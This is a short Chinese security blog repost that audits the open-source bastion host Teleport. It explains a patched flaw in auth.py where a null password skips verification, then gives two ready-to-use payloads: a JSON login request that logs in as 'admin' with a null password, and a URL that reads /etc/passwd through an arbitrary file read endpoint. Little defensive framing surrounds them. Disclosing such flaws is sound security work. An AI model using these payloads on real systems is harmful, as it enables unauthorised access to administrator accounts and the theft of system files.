|
0X00 任意用户登录分析
拿到更新包进行对比首先更新包更新了两个文件
对比auth.py
两个地方。一个是elif 改成了if 然后是检测了密码是否存在。那么跟进去代码看看login 的逻辑
只要password 为None 那么就可以跳过密码验证。让password 为None 就直接用 json.dumps
pyaload 如下:
{
"type":2,
"username":"admin",
"password":null,
"captcha":"rhcl",
"oath":"",
"remember":false
}
0X01 任意文件读取
payload如下:
/audit/get-file?f=/etc/passwd&rid=1&type=rdp&act=read&offset=0
作者:print("")
原文地址:https://www.o2oxy.cn/4132.html
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
原文始发于微信公众号(渗透测试网络安全):开源堡垒机teleport任意用户登录漏洞审计
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论